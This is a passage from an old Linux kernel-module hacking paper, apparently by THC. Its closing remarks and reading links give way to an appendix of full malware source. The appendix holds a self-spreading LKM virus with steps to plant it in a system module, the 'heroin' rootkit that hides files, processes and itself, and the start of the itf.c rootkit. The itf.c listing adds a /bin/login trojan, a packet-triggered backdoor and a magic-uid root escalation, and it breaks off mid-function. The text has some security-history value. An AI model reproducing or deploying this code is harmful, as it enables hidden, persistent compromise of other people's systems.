      I'm sorry about this = little kernel=20 2.2 section, but at the moment I am working on a general paper on kernel = 2.2=20 security (especially the lkm behaviour). So watch out for new THC = releases. I=20 even plan to work on some BSD systems (FreeBSD, OpenBSD, for example) = but this=20 will take some months.

      VI. Last Words

      1. The 'LKM story' or 'how to make a system plug = &=20 hack compatible'

      You may wounder how insecure LKMs are and why they = are used=20 in such an insecure ways. Well LKMs are designed to make life easier = especially=20 for users.Linux fights agains Microsoft, so developers need a way to = make the=20 old unix style a bit more attractive and easier. They implement things = like KDE=20 and other nice things. Kerneld, for example, was developed in order to = make=20 module handling easier. But remember, the easier and more automated a = system is=20 the more problems concerning security are possible. It is = impossible to=20 make a system usable by everyone and being secure enough. Modules are a = great=20 example for this.
      Microsoft shows us other examples : thinking of = ActiveX,=20 which is a (maybe) good idea, with a cruel securiy design for keeping = everything=20 simple.
      So dear Linux developers : Be careful, and don't make the = fault=20 Microsoft made, don't create a plug & hack compatible OS. KEEP = SECURITY IN=20 MIND !
      This text should also make clear that the kernel of any system = must be=20 protected in the best way available.It must be impossible for attackers = to=20 modify the most important item of your whole system. I leave this task = to all=20 system designers out there :).=20

      2. Links to other Resources

      Here are some = interesting=20 links about LKMs (not only hack & securiy=20 related):
      [Internet]
      http://www.linuxhq.com/
      everythin= g on=20 Linux + nice kernel links
      http://www.linuxlinks.com/
      lot= s of=20 links concerning Linux
      http://www.linux.org/
      'propaganda' = page for=20 Linux
      http://www.lwn.net/
      weekly Linux=20 news; very interesting there are also kernel / securiy sections
      http://www.phrack.com/
      read issue = 50 &=20 52 for interesting module information
      http://www.rootshell.com/
      they = have some=20 nice LKMs
      http://www.geek-girl.com/bugtr= aq/
      there=20 were some discussions on LKM security
      http://hispahack.ccc.de/
      HISPAHA= CK=20 homepage
      http://r3wt.base.org/
      THC=20 homepage (articles, magazines and lots of tools)
      http://www.antisearch.com/
      one= of the=20 best security / hacking related search engines I know
      http://www.kernel.org/
      get the = kernel and=20 study it !

      [Books]
      Linux-Kernel-Programming (Addison Wesley)
      A = very good=20 book. I read the german version but I think there is also an english = version.=20

      Linux Device Drivers (O'Reilly)
      A bit off topic, but also very=20 interesting. The focus is more on writing LKMs as device drivers.=20

      Acknowledgements

      Thanks for sources / ideas fly to :=20

      plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, = Aleph1,=20 Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare, = daemon9, Nergal, van Hauser (especially for showing me some bugs) and = those=20 nameless individuals providing us with their ideas (there are so many) ! =

      Greets

      groups : THC, deep, ech0, = ADM,=20 =phake=

      personal :

    • van Hauser - thanks for giving me the chance to learn=20
      mindmaniac - thanks for introducing 'the first contact'=20

      background music groups (helping me to concentrate on writing=20 :):
      Neuroactive, Image Transmission, Panic on the Titanic, = Dracul=20



      A - Appendix

      Here you will find some sources.If the author of the LKM also = published some=20 notes / texts which are interesting, they will also be printed.

      LKM Infector

      NAME :=20 moduleinfect.c
      AUTHOR : Stealthf0rk/SVAT=20
      DESCRIPTION : This is the first = published=20 LKM infector which was discussed II.8. This LKM has no destruction = routine, it's=20 just an infector, so experimenting should be quite = harmless.
      LINK : http://www.rootshell.com/
      = /* SVAT - Special Virii And Trojans - present: * * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems = -=-=-=-=-=-=-=- * * 0kay guys, here we go... * As i told you with VLP I (we try to write an fast-infector) * here's the result: * a full, non-overwriting module infector that catches * lkm's due to create_module() and infects them (max. 7) * if someone calls delete_module() [even on autoclean]. * Linux is not longer a virii-secure system :( * and BSD follows next week ... * Since it is not needed 2 get root (by the module) you should pay * attention on liane. * Note the asm code in function init_module(). * U should assemble your /usr/src/.../module.c with -S and your CFLAG * from your Makefile and look for the returnvalue from the first call * of find_module() in sys_init_module(). look where its stored (%ebp = for me) * and change it in __asm__ init_module()! (but may it is not needed) * * For education only!=20 * Run it only with permisson of the owner of the system you are logged = on!!!=20 *=20 * !!! YOU USE THIS AT YOUR OWN RISK !!! * * I'm not responsible for any damage you may get due to playing around = with this.=20 * * okay guys, you have to find out some steps without my help: * * 1. $ cc -c -O2 module.c * 2. get length of module.o and patch the #define MODLEN in module.c * 3. $ ??? * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o=20 * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<=20 * 6. $ insmod ??? *=20 * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and * kernel 2.0.33. It works. * * greets (in no order...) * <><><><><><><><><><><><> * * NetW0rker - tkx for da sources * Serialkiller - gib mir mal deine eMail-addy * hyperSlash - 1st SVAT member, he ? * naleZ - hehehe * MadMan - NetW0rker wanted me to greet u !? * KilJaeden - TurboDebugger and SoftIce are a good choice ! * * and all de otherz * * Stealthf0rk/SVAT <stealth@cyberspace.org> */ #define __KERNEL__ #define MODULE #define MODLEN 7104 #define ENOUGH 7 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} /* i'm not sure we need all of 'em ...*/ #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> #define __NR_our_syscall 211 #define MAXPATH 30 /*#define DEBUG*/ #ifdef DEBUG #define DPRINTK(format, args...) printk(KERN_INFO format,##args) #else #define DPRINTK(format, args...) #endif /* where the sys_calls are */ extern void *sys_call_table[]; /* tested only with kernel 2.0.33, but thiz should run under 2.x.x * if you change the default_path[] values=20 */ static char *default_path[] = { ".", "/linux/modules", "/lib/modules/2.0.33/fs", "/lib/modules/2.0.33/net", "/lib/modules/2.0.33/scsi", "/lib/modules/2.0.33/block", "/lib/modules/2.0.33/cdrom", "/lib/modules/2.0.33/ipv4", "/lib/modules/2.0.33/misc", "/lib/modules/default/fs", "/lib/modules/default/net", "/lib/modules/default/scsi", "/lib/modules/default/block", "/lib/modules/default/cdrom", "/lib/modules/default/ipv4", "/lib/modules/default/misc", "/lib/modules/fs", "/lib/modules/net", "/lib/modules/scsi", "/lib/modules/block", "/lib/modules/cdrom", "/lib/modules/ipv4", "/lib/modules/misc", 0 }; static struct symbol_table my_symtab = { #include <linux/symtab_begin.h> X(printk), X(vmalloc), X(vfree), X(kerneld_send), X(current_set), X(sys_call_table), X(register_symtab_from), #include <linux/symtab_end.h> }; char files2infect[7][60 + 2]; /* const char kernel_version[] = UTS_RELEASE; */ int (*old_create_module)(char*, int); int (*old_delete_module)(char *); int (*open)(char *, int, int); int (*close)(int); int (*unlink)(char*); int our_syscall(int); int infectfile(char *); int is_infected(char *); int cp(struct file*, struct file*); int writeVir(char *, char *); int init_module2(struct module*); char *get_mod_name(char*); /* needed to be global */ void *VirCode = NULL; /* install new syscall to see if we are already in kmem */ int our_syscall(int mn) { /* magic number: 40hex :-) */ if (mn == 0x40) return 0; else return -ENOSYS; } int new_create_module(char *name, int size) { int i = 0, j = 0, retval = 0; =20 if ((retval = old_create_module(name, size)) < 0) return retval; /* find next free place */ for (i = 0; files2infect[i][0] && i < 7; i++); if (i == 6) return retval; /* get name of mod from user-space */ while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && = j < 60) j++; DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i); return retval; } /* we infect modules after sys_delete_module, to be sure * we don't confuse the kernel */ int new_delete_module(char *modname) { static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; =20 =20 retval = old_delete_module(modname);=20 if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; for (i = 0; files2infect[i][0] && i < 7; i++) { strcat(files2infect[i], ".o");=20 if ((s = get_mod_name(files2infect[i])) == NULL) = { return retval; } name = strcpy(name, s); if (!is_infected(name)) { DPRINTK("try 2 infect %s as #%d\n", name, i); infected++; infectfile(name); } memset(files2infect[i], 0, 60 + 2); } /* for */ /* its enough */ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } /* lets take a look at sys_init_module(), that calls * our init_module() compiled with * CFLAG = ... -O2 -fomit-frame-pointer * in C: * ... * if((mp = find_module(name)) == NULL) * ... * * is in asm: * ... * call find_module * movl %eax, %ebp * ... * note that there is no normal stack frame !!! * thats the reason, why we find 'mp' (return from find_module) in %ebp * BUT only when compiled with the fomit-frame-pointer option !!! * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) * you should find mp at -4(%ebp) . * thiz is very bad hijacking of local vars and an own topic. * I hope you do not get an seg. fault. */ __asm__=20 (" .align 16 .globl init_module=09 .type init_module,@function init_module: pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ /* and the parameter for init_module2() */ call init_module2 =20 popl %eax xorl %eax, %eax /* all good */ ret /* and return */ .hype27: .size init_module,.hype27-init_module "); =20 /* for the one with no -fomit-frame-pointer and no -O2 this should (!) = work: * * pushl %ebx * movl %ebp, %ebx * pushl -4(%ebx) * call init_module2 * addl $4, %esp * xorl %eax, %eax * popl %ebx * ret */ /*----------------------------------------------*/ int init_module2(struct module *mp) { =20 char *s = NULL, *mod = NULL, *modname = NULL; long state = 0; =20 mod = vmalloc(60 + 2); modname = vmalloc(MAXPATH + 60 + 2); if (!mod || !modname) return -1; =20 strcpy(mod, mp->name); strcat(mod, ".o"); =09 MOD_INC_USE_COUNT; =20 DPRINTK("in init_module2: mod = %s\n", mod); =20 /* take also a look at phrack#52 ...*/ mp->name = ""; mp->ref = 0; mp->size = 0; /* thiz is our new main ,look for copys in kmem ! */ if (sys_call_table[__NR_our_syscall] == 0) { =20 old_delete_module = sys_call_table[__NR_delete_module]; =20 old_create_module = = sys_call_table[__NR_create_module]; sys_call_table[__NR_our_syscall] = (void*)our_syscall; = =09 sys_call_table[__NR_delete_module] = = (void*)new_delete_module; =20 sys_call_table[__NR_create_module] = = (void*)new_create_module; memset(files2infect, 0, (60 + 2)*7); register_symtab(&my_symtab); } open = sys_call_table[__NR_open];=20 close = sys_call_table[__NR_close]; =20 unlink = sys_call_table[__NR_unlink]; =20 =20 if ((s = get_mod_name(mod)) == NULL) return -1; modname = strcpy(modname, s); load_real_mod(modname, mod); vfree(mod); vfree(modname); return 0; } =20 int cleanup_module() { sys_call_table[__NR_delete_module] = old_delete_module; sys_call_table[__NR_create_module] = old_create_module; sys_call_table[__NR_our_syscall] = NULL; DPRINTK("in cleanup_module\n"); vfree(VirCode); return 0; } /* returns 1 if infected;=20 * seek at position MODLEN + 1 and read out 3 bytes, * if it is "ELF" it seems the file is already infected */ int is_infected(char *filename)=20 { char det[4] = {0}; int fd = 0; struct file *file; DPRINTK("in is_infected: filename = %s\n", filename); BEGIN_KMEM fd = open(filename, O_RDONLY, 0);=20 END_KMEM if (fd <= 0) return -1; if ((file = current->files->fd[fd]) == NULL) return -2; file->f_pos = MODLEN + 1; DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); BEGIN_KMEM file->f_op->read(file->f_inode, file, det, 3); close(fd); END_KMEM DPRINTK("in is_infected: det = %s\n", det); if (strcmp(det, "ELF") == 0) return 1; else return 0; } /* copy the host-module to tmp, write VirCode to * hostmodule, and append tmp. * then delete tmp. */ int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; =20 BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); /* append hostcode */ cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } =20 int disinfect(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; =20 BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in disinfect: in = %d out = %d\n",in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM close(in); DPRINTK("in disinfect: filename = %s\n", filename);=20 unlink(filename); in = open(filename, O_RDWR|O_CREAT, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; file2->f_pos = MODLEN; cp(file2, file1); BEGIN_KMEM close(in); close(out); unlink(tmp); END_KMEM return 0; } /* a simple copy routine, that expects the file struct pointer * of the files to be copied. * So its possible to append files due to copieng. */ int cp(struct file *file1, struct file *file2) { int in = 0, out = 0, r = 0; char *buf; =20 if ((buf = (char*)vmalloc(10000)) == NULL) return -1; DPRINTK("in cp: f_pos = %d\n", file1->f_pos); BEGIN_KMEM while ((r = file1->f_op->read(file1->f_inode, file1, buf, = 10000)) > 0) file2->f_op->write(file2->f_inode, file2, buf, r); file2->f_inode->i_mode = file1->f_inode->i_mode; file2->f_inode->i_atime = file1->f_inode->i_atime; file2->f_inode->i_mtime = file1->f_inode->i_mtime; file2->f_inode->i_ctime = file1->f_inode->i_ctime; END_KMEM vfree(buf); return 0; } /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { =09 int r = 0, i = 0; =09 struct file *file1, *file2; int in = 0, out = 0;=20 DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM disinfect(path_name); r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } =09 =20 char *get_mod_name(char *mod) { int fd = 0, i = 0; static char* modname = NULL; =09 if (!modname) modname = vmalloc(MAXPATH + 60 + 2); if (!modname) return NULL; BEGIN_KMEM for (i = 0; (default_path[i] && (strstr(mod, "/") == = NULL)); i++) { memset(modname, 0, MAXPATH + 60 + 2); modname = strcpy(modname, default_path[i]); modname = strcat(modname, "/"); modname = strcat(modname, mod); if ((fd = open(modname, O_RDONLY, 0640)) > 0)=20 break; } close(fd); END_KMEM =20 if (!default_path[i]) return NULL; =20 return modname;=09 } =20

      Herion - the classic one

      NAME :=20 Heroin
      AUTHOR : Runar=20 Jensen
      DESCRIPTION : Runar Jensen introduced some nice = ideas in=20 his text, which were the first steps towards our modern Hide LKM by = plaguez. The=20 way Runar Jensen hides the module requires more coder work than the = plaguez=20 (Solar Designer and other people) approach, but it works. The way Runar = Jensen=20 hides processes is also a bit too complicated (well this text is quite = old, and=20 it was one of the first talking about LKM hacking), He uses a special = signal=20 code (31) in order to set a flag in a process structure which indicates = that=20 this process is going to be hidden, in the way we discussed in part II. =
      The=20 rest should be clear.
      LINK : http://www.rootshell.com/
      = As halflife demonstrated in Phrack 50 with his linspy project, it is = trivial to patch any systemcall under Linux from within a module. This means = that once your system has been compromised at the root level, it is possible = for an intruder to hide completely _without_ modifying any binaries or = leaving any visible backdoors behind. Because such tools are likely to be in use within the hacker community already, I decided to publish a piece of = code to demonstrate the potentials of a malicious module. The following piece of code is a fully working Linux module for 2.1 = kernels that patches the getdents(), kill(), read() and query_module() calls. = Once loaded, the module becomes invisible to lsmod and a dump of = /proc/modules by modifying the output of every query_module() call and every read() call accessing /proc/modules. Apparently rmmod also calls query_module() to = list all modules before attempting to remove the specified module, and will therefore claim that the module does not exist even if you know its = name. The output of any getdents() call is modified to hide any files or = directories starting with a given string, leaving them accessible only if you know = their exact names. It also hides any directories in /proc matching pids that = have a specified flag set in its internal task structure, allowing a user with = root access to hide any process (and its children, since the task structure = is duplicated when the process does a fork()). To set this flag, simply = send the process a signal 31 which is caught and handled by the patched kill() = call. To demonstrate the effects... [root@image:~/test]# ls -l total 3 -rw------- 1 root root 2832 Oct 8 16:52 heroin.o [root@image:~/test]# insmod heroin.o [root@image:~/test]# lsmod | grep heroin [root@image:~/test]# grep heroin /proc/modules [root@image:~/test]# rmmod heroin rmmod: module heroin not loaded [root@image:~/test]# ls -l total 0 [root@image:~/test]# echo "I'm invisible" > heroin_test [root@image:~/test]# ls -l total 0 [root@image:~/test]# cat heroin_test I'm invisible [root@image:~/test]# ps -aux | grep gpm root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# kill -31 223 [root@image:~/test]# ps -aux | grep gpm [root@image:~/test]# ps -aux 223 USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm [root@image:~/test]# ls -l /proc | grep 223 [root@image:~/test]# ls -l /proc/223 total 0 -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run -r-------- 1 root root 0 Oct 8 16:54 environ lrwx------ 1 root root 0 Oct 8 16:54 exe -> = /usr/bin/gpm dr-x------ 1 root root 0 Oct 8 16:54 fd pr--r--r-- 1 root root 0 Oct 8 16:54 maps -rw------- 1 root root 0 Oct 8 16:54 mem lrwx------ 1 root root 0 Oct 8 16:54 root -> / -r--r--r-- 1 root root 0 Oct 8 16:53 stat -r--r--r-- 1 root root 0 Oct 8 16:54 statm -r--r--r-- 1 root root 0 Oct 8 16:54 status [root@image:~/test]# The implications should be obvious. Once a compromise has taken place, nothing can be trusted, the operating system included. A module such as = this could be placed in /lib/modules/<kernel_ver>/default to force it to be = loaded after every reboot, or put in place of a commonly used module and in = turn have it load the required module for an added level of protection. = (Thanks Sean :) Combined with a reasonably obscure remote backdoor it could = remain undetected for long periods of time unless the system administrator = knows what to look for. It could even hide the packets going to and from this backdoor from the kernel itself to prevent a local packet sniffer from = seeing them. So how can it be detected? In this case, since the number of processes = is limited, one could try to open every possible process directory in /proc = and look for the ones that do not show up otherwise. Using readdir() instead = of getdents() will not work, since it appears to be just a wrapper for getdents(). In short, trying to locate something like this without = knowing exactly what to look for is rather futile if done in userspace... Be afraid. Be very afraid. ;) .../ru ----- /* * heroin.c * * Runar Jensen <zarq@opaque.org> * * This Linux kernel module patches the getdents(), kill(), read() * and query_module() system calls to demonstrate the potential * dangers of the way modules have full access to the entire kernel. * * Once loaded, the module becomes invisible and can not be removed * with rmmod. Any files or directories starting with the string * defined by MAGIC_PREFIX appear to disappear, and sending a signal * 31 to any process as root effectively hides it and all its future * children. * * This code should compile cleanly and work with most (if not all) * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. * It will not compile as is under 2.0.30, since 2.0.30 lacks the * query_module() function. * * Compile with: * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c */ #include <linux/fs.h> #include <linux/module.h> #include <linux/modversions.h> #include <linux/malloc.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <linux/proc_fs.h> #include <stdlib.h> #define MAGIC_PREFIX "heroin" #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int errno; static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, = uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, = count); static inline _syscall5(int, query_module, const char *, name, int, = which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t = *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') return(-1); res += (*ptr - '0') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task != current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int = count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) = && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) return(-errno); return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || = MINOR(dinode->i_dev) != 1) return(res); ptr = buf; while(ptr < buf + res) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr != '\n') ptr++; ptr++; mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr != '\n') ptr++; ptr++; } return(res); } int hacked_query_module(const char *name, int which, void *buf, size_t = bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, = ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; mybcopy(ptr, match, bufsize - (ptr - (char = *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; } ----- ----- Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com Network Administrator | or (800) 264-7440 | or zarq@opaque.org Tech Operations Mgr | Fax (318) 235-1447 | Epage = zarq@page.1stnet.com FirstNet of Acadiana | Pager (318) 268-8533 | [message in = subject]

      LKM Hider / Socket Backdoor

      NAME :=20 itf.c
      AUTHOR : plaguez
      DESCRIPTION : This=20 very good LKM was published in phrack 52 (article 18 : 'Weakening the = Linux=20 Kernel'). I often refered to it although some ideas in it were also = taken from=20 other LKMs / texts which were published before. This module has = everything you=20 need to backdoor a system in a very effective way. Look at the text = supplied=20 with it for all of its features.
      LINK : http://www.phrack.com/
      Here = is itf.c. The goal of this program is to demonstrate kernel backdooring techniques using systemcall redirection. Once installed, it is very = hard to spot. Its features include: - stealth functions: once insmod'ed, itf will modify struct module *mp = and get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' = outputs. Also, the module cannot be unloaded. - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag = will be hidden. Note that you'll need to place the sniffer BEFORE insmod'ing = itf.o, because itf will trap a change in the PROMISC flag and will then stop = hidding it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd = spot the module...). - file hidder: itf will also patch the getdents(2) system calls, thus = hidding files containing a certain word in their filename. - process hidder: using the same technique as described above, itf will = hide /procs/P=CFD directories using argv entries. Any process named with the = magic name will be hidden from the procfs tree. - execve redirection: this implements Halflife's idea discussed in P51. If a given program (notably /bin/login) is execve'd, itf will execve another program instead. It uses tricks to overcome Linux memory = managment limitations: brk(2) is used to increase the calling program's data = segment size, thus allowing us to allocate user memory while in kernel mode = (remember that most system calls wait for arguments in user memory, not kernel = mem). - socket recvfrom() backdoor: when a packet matching a given size and a = given string is received, a non-interactive program will be executed. = Typicall use is a shell script (which will be hidden using the magic name) that opens another port and waits there for shell commands. - setuid() trojan: like Halflife's stuff. When a setuid() syscall with = uid == magic number is done, the calling process will get uid = euid = gid = = 0 <++> lkm_trojan.c /* * itf.c v0.8 * Linux Integrated Trojan Facility * (c) plaguez 1997 -- dube0866@eurobretagne.fr * This is mostly not fully tested code. Use at your own risks. * *=20 * compile with: * gcc -c -O3 -fomit-frame-pointer itf.c * Then: * insmod itf *=20 *=20 * Thanks to Halflife and Solar Designer for their help/ideas.=20 * * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial. * *=20 */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/errno.h> #include <asm/segment.h> #include <asm/pgtable.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <asm/unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/socketcall.h> #include <linux/netdevice.h> #include <linux/if.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/proc_fs.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <ctype.h> /* Customization section=20 * - RECVEXEC is the full pathname of the program to be launched when a = packet * of size MAGICSIZE and containing the word MAGICNAME is received with = recvfrom(). * This program can be a shell script, but must be able to handle null = **argv (I'm too lazy * to write more than execve(RECVEXEC,NULL,NULL); :) * - NEWEXEC is the name of the program that is executed instead of = OLDEXEC * when an execve() syscall occurs. * - MAGICUID is the numeric uid that will give you root when a call to = setuid(MAGICUID) * is made (like Halflife's code) * - files containing MAGICNAME in their full pathname will be invisible = to * a getdents() system call. * - processes containing MAGICNAME in their process name will be hidden = of the * procfs tree. */ #define MAGICNAME "w00w00T$!" #define MAGICUID 31337 #define OLDEXEC "/bin/login" #define NEWEXEC "/.w00w00T$!/w00w00T$!login" #define RECVEXEC "/.w00w00T$!/w00w00T$!recv" #define MAGICSIZE sizeof(MAGICNAME)+10 /* old system calls vectors */ int (*o_getdents) (uint, struct dirent *, uint); ssize_t(*o_readdir) (int, void *, size_t); int (*o_setuid) (uid_t); int (*o_execve) (const char *, const char *[], const char *[]); int (*o_ioctl) (int, int, unsigned long); int (*o_get_kernel_syms) (struct kernel_sym *); ssize_t(*o_read) (int, void *, size_t); int (*o_socketcall) (int, unsigned long *); /* entry points to brk() and fork() syscall. */ static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall0(int, fork); static inline _syscall1(void, exit, int, status); extern void *sys_call_table[]; extern struct proto tcp_prot; int errno; char mtroj[] = MAGICNAME; int __NR_myexecve; int promisc; /* * String-oriented functions * (from user-space to kernel-space or invert) */ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /* * process hiding functions */ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /* the following function comes from fs/proc/array.c */ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /* * New system calls */ /* * hide module symbols */ int n_get_kernel_syms(struct kernel_sym *table) { struct kernel_sym *tb; int compt, compt2, compt3, i, done; compt = (*o_get_kernel_syms) (table); if (table != NULL) { tb = kmalloc(compt * sizeof(struct kernel_sym), 